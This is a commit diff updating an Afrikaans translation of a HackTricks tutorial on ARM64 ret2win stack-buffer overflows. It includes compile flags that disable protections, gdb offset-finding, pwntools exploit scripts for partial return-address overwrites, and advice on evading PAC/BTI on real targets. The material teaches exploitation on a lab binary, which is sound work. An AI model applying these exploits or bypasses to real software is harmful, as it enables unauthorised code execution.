Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:39 +00:00
parent 5eb802d412
commit 4fa84f7adf

View File

@ -30,15 +30,27 @@ return 0;
```
Kompileer sonder pie en canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
## Vind die offset
- Die bykomende vlag `-mbranch-protection=none` skakel AArch64 Branch Protection (PAC/BTI) uit. As jou toolchain standaard PAC of BTI aktiveer, hou dit die laboratorium reproduseerbaar. Om te kontroleer of 'n saamgestelde binêre PAC/BTI gebruik, kan jy:
- Kyk na AArch64 GNU-eienskappe:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Inspekteer prologues/epilogues vir `paciasp`/`autiasp` (PAC) of vir `bti c` landing pads (BTI):
- `objdump -d ret2win | head -n 40`
### Patroon opsie
### AArch64 oproepkonvensie — kort feite
Hierdie voorbeeld is geskep met behulp van [**GEF**](https://github.com/bata24/gef):
- Die link register is `x30` (ook bekend as `lr`), en funksies stoor tipies `x29`/`x30` met `stp x29, x30, [sp, #-16]!` en herstel hulle met `ldp x29, x30, [sp], #16; ret`.
- Dit beteken die gestoor terugkeeradres lê by `sp+8` relatief tot die raambasis. Met 'n `char buffer[64]` onderin geplaas, is die gewone oorskryafstand tot die gestoor `x30` 64 (buffer) + 8 (gestoor x29) = 72 bytes — presies wat ons hieronder sal vind.
- Die stack pointer moet by funksiegrense 16byte gealigneer bly. As jy later ROP chains bou vir meer komplekse scenario's, behou die SP-alignment anders kan jy op funksie-epilogues vasloop.
Stat gdb met gef, skep patroon en gebruik dit:
## Bepaal die offset
### Patroon-opsie
Hierdie voorbeeld is geskep met [**GEF**](https://github.com/bata24/gef):
Begin gdb met gef, skep 'n patroon en gebruik dit:
```bash
gdb -q ./ret2win
pattern create 200
@ -46,7 +58,7 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 sal probeer om na die adres in die register x30 (wat gecompromitteer is) terug te keer, ons kan dit gebruik om die patroon offset te vind:
arm64 sal probeer terugkeer na die adres in die register x30 (wat gekompromitteer is), ons kan dit gebruik om die patroon-offset te vind:
```bash
pattern search $x30
```
@ -54,9 +66,9 @@ pattern search $x30
**Die offset is 72 (9x48).**
### Stapel offset opsie
### Stack offset opsie
Begin deur die stapeladres te kry waar die pc-register gestoor is:
Begin deur die stack-adres te kry waar die pc register gestoor is:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -65,7 +77,7 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Stel nou 'n breekpunt in na die `read()` en gaan voort totdat die `read()` uitgevoer is en stel 'n patroon soos 13371337 in:
Stel nou 'n breakpoint na die `read()` en gebruik continue totdat die `read()` uitgevoer word, en stel 'n patroon soos 13371337:
```
b *vulnerable_function+28
c
@ -80,9 +92,9 @@ Dan: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Geen PIE
## No PIE
### Gereeld
### Regulier
Kry die adres van die **`win`** funksie:
```bash
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Eksploiteer:
Exploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1
Werklik is dit meer soos 'n off-by-2 in die gestoor PC in die stapel. In plaas daarvan om al die terugkeeradresse te oorskryf, gaan ons **slegs die laaste 2 bytes** met `0x06c4` oorskryf.
Eintlik gaan dit meer soos 'n off-by-2 wees in die PC wat in die stack gestoor is. In plaas daarvan om die hele return address te oorskryf, gaan ons **slegs die laaste 2 bytes** met `0x06c4` oorskryf.
```python
from pwn import *
@ -136,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Jy kan 'n ander off-by-one voorbeeld in ARM64 vind in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike off-by-**one** in 'n fiktiewe kwesbaarheid is.
Jy kan nog 'n off-by-one voorbeeld in ARM64 vind by [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike off-by-**one** is in 'n fiktiewe kwetsbaarheid.
## Met PIE
> [!TIP]
> Compileer die binêre **sonder die `-no-pie` argument**
> Kompileer die binary **sonder die `-no-pie` argument**
### Off-by-2
Sonder 'n leak weet ons nie die presiese adres van die wen-funksie nie, maar ons kan die offset van die funksie vanaf die binêre weet en, aangesien die terugadres wat ons oorskryf reeds na 'n naby adres wys, is dit moontlik om die offset na die wen-funksie (**0x7d4**) in hierdie geval te lek en net daardie offset te gebruik:
Sonder 'n leak weet ons nie die presiese address van die win function nie, maar ons kan die offset van die function binne die binary bepaal. Aangesien die return address wat ons overskryf reeds na 'n nabygeleë address wys, is dit moontlik om die offset na die win function (**0x7d4**) in hierdie geval te leak en net daardie offset te gebruik:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Aantekeninge oor moderne AArch64-hardening (PAC/BTI) en ret2win
- As die binary saamgestel is met AArch64 Branch Protection, kan jy `paciasp`/`autiasp` of `bti c` in funksie-prologues/epilogues sien. In daardie geval:
- Terugkeer na 'n adres wat nie 'n geldige BTI landing pad is nie, kan 'n `SIGILL` veroorsaak. Mik eerder op die presiese funksie-ingang wat `bti c` bevat.
- As PAC vir returns geaktiveer is, kan naïewe overwrite van return-adresse misluk omdat die epilogue `x30` autentikeer. Vir leerscenario's, herbou met `-mbranch-protection=none` (hierbo getoon). Wanneer jy regte teikens aanval, verkies nie-return kapings (bv. function pointer overwrites) of bou ROP wat nooit 'n `autiasp`/`ret` paar uitvoer wat jou vervalste LR autentikeer nie.
- Om kenmerke vinnig te kontroleer:
- `readelf --notes -W ./ret2win` en kyk vir `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notas.
- `objdump -d ./ret2win | head -n 40` en kyk vir `bti c`, `paciasp`, `autiasp`.
### Running on nonARM64 hosts (qemuuser quick tip)
If you are on x86_64 but want to practice AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Verwante HackTricks-bladsye
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Verwysings
- Aktivering van PAC en BTI op AArch64 vir Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Procedure-oproepstandaard vir die Arm 64-bit-argitektuur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}